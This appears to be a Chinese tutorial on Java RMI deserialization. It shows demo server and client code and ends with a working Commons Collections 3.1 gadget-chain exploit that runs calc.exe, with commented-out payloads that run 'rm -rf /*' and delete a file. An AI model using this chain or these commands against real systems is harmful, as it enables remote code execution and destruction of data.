对于Java RMI,只要是以对象为参数的接口,都可以在客户端构建一个对象,强迫服务端对这个存在于Class Path下可序列化类进行反序列化,从而执行一个不在计划内的方法。
RMI(Remote Method Invocation),即远程方法调用
RMI通信由三部分组成
package com.cloudcc.designmode.study01.rmiplay;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* @author shancl
*/
public interface Services extends Remote {
String sendUserInfo(UserInfo userInfo) throws RemoteException;
}
package com.cloudcc.designmode.study01.rmiplay;
/**
* @author shancl
*/
public class RMIServer implements Services{
@Override
public String sendUserInfo(UserInfo userInfo) {
String accountId = userInfo.getAccountId();
System.out.println(accountId);
if (accountId.contains("XXX")){
return "XXX:acc000001";
}else {
return "Known: acc000002";
}
}
}
package com.cloudcc.designmode.study01.rmiplay;
import java.io.Serializable;
/**
* @author shancl
*/
public class UserInfo implements Serializable {
private String accountId;
public String getAccountId() {
System.out.println("我被远程调用了");
return accountId;
}
public void setAccountId(String accountId) {
this.accountId = accountId;
}
}
package com.cloudcc.designmode.study01.rmiplay;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
/**
* @author shancl
*/
public class ExecuteRmi {
public static void main(String[] args) {
System.out.println("启动服务端RMI");
RMIServer rmiServer = new RMIServer();
try {
Services services = (Services) UnicastRemoteObject.exportObject(rmiServer, 8080);
Registry registry;
try {
registry = LocateRegistry.createRegistry(8080);
System.out.println("完成RMI Registry的创建。");
}catch (Exception e){
System.out.println("使用已经存在的RMI Registry。");
registry = LocateRegistry.getRegistry();
}
registry.rebind("RMIServer", services);
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
package com.cloudcc.designmode.study01.rmiplay;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* @author shancl
*/
public interface Services extends Remote {
String sendUserInfo(UserInfo userInfo) throws RemoteException;
}
package com.cloudcc.designmode.study01.rmiplay;
import java.io.Serializable;
/**
* @author shancl
*/
public class UserInfo implements Serializable {
private String accountId;
public String getAccountId() {
System.out.println("我被远程调用了");
return accountId;
}
public void setAccountId(String accountId) {
this.accountId = accountId;
}
}
package com.cloudcc.designmode.study01.client;
import com.cloudcc.designmode.study01.hehe.PublicKnown;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import sun.rmi.server.UnicastRef;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author shancl
*/
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
Services services = (Services) registry.lookup("RMIServer");
// 正常调用
UserInfo userInfo = new UserInfo();
userInfo.setAccountId("我要获取XXX的账号ID,请返回给我。");
System.out.println(services.sendUserInfo(userInfo));
}
}
只是重现,非模拟
package com.cloudcc.designmode.study01.hehe;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
/**
* @author shancl
*/
public class AccidentObject implements Serializable {
private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
stream.defaultReadObject();
System.out.println("我被执行了,这确实不应该,但我也没办法,都是JDK的错。");
}
}
package com.cloudcc.designmode.study01.hehe;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import java.io.Serializable;
/**
* @author shancl
*/
public class AccidentObject extends UserInfo implements Serializable {
}
package com.cloudcc.designmode.study01.client;
import com.cloudcc.designmode.study01.hehe.AccidentObject;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author shancl
*/
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
Services services = (Services) registry.lookup("RMIServer");
AccidentObject accidentObject = new AccidentObject();
accidentObject.setAccountId("随便给我个accountId");
String s = services.sendUserInfo(accidentObject);
System.out.println(s);
}
}
package com.cloudcc.designmode.study01.hehe;
import org.springframework.transaction.TransactionSystemException;
import org.springframework.util.StringUtils;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
/**
* @author shancl
* 事务管理器
*/
public class CustomTx implements Serializable {
public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
private ITransaction iTransaction;
private String userTransactionName;
private boolean autodetectUserTransaction;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 模拟当前类存在事务
this.iTransaction = new HasTransaction();
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();
System.out.println("不好我被执行了");
// Perform a fresh lookup for JTA handles.
System.out.println("我现在有事务管理器:" + this.iTransaction.getClass());
initUserTransactionAndTransactionManager();
System.out.println("事务管理器被修改了,现在是:" + this.iTransaction.getClass());
}
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.iTransaction == null) {
// Fetch JTA UserTransaction from JNDI, if necessary.
if (StringUtils.hasLength(this.userTransactionName)) {
System.out.println("不好,tx name被篡改了,现在的名字是:" + this.userTransactionName);
if (this.userTransactionName.equals(DEFAULT_USER_TRANSACTION_NAME)){
iTransaction = new HasTransaction();
}else {
iTransaction = new NoneTransaction();
}
} else {
this.iTransaction = retrieveUserTransaction();
if (this.iTransaction == null && this.autodetectUserTransaction) {
this.iTransaction = findUserTransaction();
}
}
}
}
private ITransaction findUserTransaction() {
return new NoneTransaction();
}
private ITransaction retrieveUserTransaction() {
this.autodetectUserTransaction = true;
return null;
}
public String getUserTransactionName() {
return userTransactionName;
}
public void setUserTransactionName(String userTransactionName) {
this.userTransactionName = userTransactionName;
}
}
/**
* @author shancl
*/
public interface ITransaction {
}
/**
* @author shancl
*/
public class HasTransaction implements ITransaction{
}
/**
* @author shancl
*/
public class NoneTransaction implements ITransaction{
}
package com.cloudcc.designmode.study01.hehe;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import java.io.Serializable;
/**
* @author shancl
* 模拟事务管理器
*/
public class CustomTx extends UserInfo implements Serializable {
// 序列来源说明
public static final long serialVersionUID = 8530490060988692L;
private String userTransactionName;
public String getUserTransactionName() {
return userTransactionName;
}
public void setUserTransactionName(String userTransactionName) {
this.userTransactionName = userTransactionName;
}
}
package com.cloudcc.designmode.study01.client;
import com.cloudcc.designmode.study01.hehe.CustomTx;
import com.cloudcc.designmode.study01.rmiplay.Services;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author shancl
*/
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
Services services = (Services) registry.lookup("RMIServer");
// 模拟属性被修改
CustomTx customTx = new CustomTx();
customTx.setUserTransactionName("你被我修改了");
services.sendUserInfo(customTx);
}
}
<dependency>
<groupId>org.springframeworkgroupId>
<artifactId>spring-txartifactId>
<version>5.3.13version>
dependency>
<dependency>
<groupId>commons-collectionsgroupId>
<artifactId>commons-collectionsartifactId>
<version>3.1version>
dependency>
package com.cloudcc.designmode.study01.other;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* @author shancl
*/
public interface User extends Remote {
String sayHello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
}
// 实现类
package com.cloudcc.designmode.study01.other;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
/**
* @author shancl
*/
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
@Override
public String sayHello(String hello) throws RemoteException {
return "hello";
}
@Override
public void work(Object obj) throws RemoteException {
System.out.println(obj);
System.out.println("work方法被调用了");
}
}
// 暴露
package com.cloudcc.designmode.study01.other;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author shancl
*/
public class ExecuteServer {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user", user);
System.out.println("开始使用RMI......");
}
}
// 相同接口
package com.cloudcc.designmode.study01.other;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* @author shancl
*/
public interface User extends Remote {
String sayHello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
}
// 调用类
package com.cloudcc.designmode.study01.other;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
/**
* @author shancl
*/
public class UserClient {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User user = (User) Naming.lookup(url);
String hello = user.sayHello("hello");
System.out.println(hello);
user.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
// new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd", "/C", "rd D:\\aaa.txt"}})
// new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/sh", "-c", "rm -rf /*"}})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> map = new HashMap<>();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
return ctor.newInstance(Target.class, transformedMap);
}
}
// 非基础类型会走readObject()方法,所有包含该方法的公共类都会被利用攻击
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
}
}